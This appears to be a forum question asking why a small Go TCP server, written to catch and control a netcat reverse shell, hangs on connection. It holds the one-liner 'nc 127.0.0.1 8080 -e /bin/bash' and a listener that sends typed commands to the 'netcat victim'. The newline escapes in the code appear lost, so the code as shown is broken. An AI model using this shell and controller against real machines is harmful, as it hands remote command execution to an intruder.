I am working on a TCP server in Go. The TCP server needs to be able to catch a reverse shell from netcat:
$ nc 127.0.0.1 8080 -e /bin/bash
I should be able to send commands and receive responses; however, my server just seems to hang when it receives a connection.
I think the problem is with the bufio.NewReader(conn).ReadString(' ') line, but I don't know how to fix it.
Can you offer any solutions, please and thank you?
Server Code (note: error handling omitted for brevity):
func main() {
ln, _ := net.Listen("tcp", "127.0.0.1:8080")
for {
conn, _ := ln.Accept()
handleConn(conn)
}
}
func handleConn(conn net.Conn) {
for {
// Receive data from netcat victim
data, _ := bufio.NewReader(conn).ReadString('
')
fmt.Println(data)
// Read command from Stdin then send to netcat victim
reader := bufio.NewReader(os.Stdin)
cmd, _ := reader.ReadString('
')
fmt.Fprintln(conn, cmd)
}
}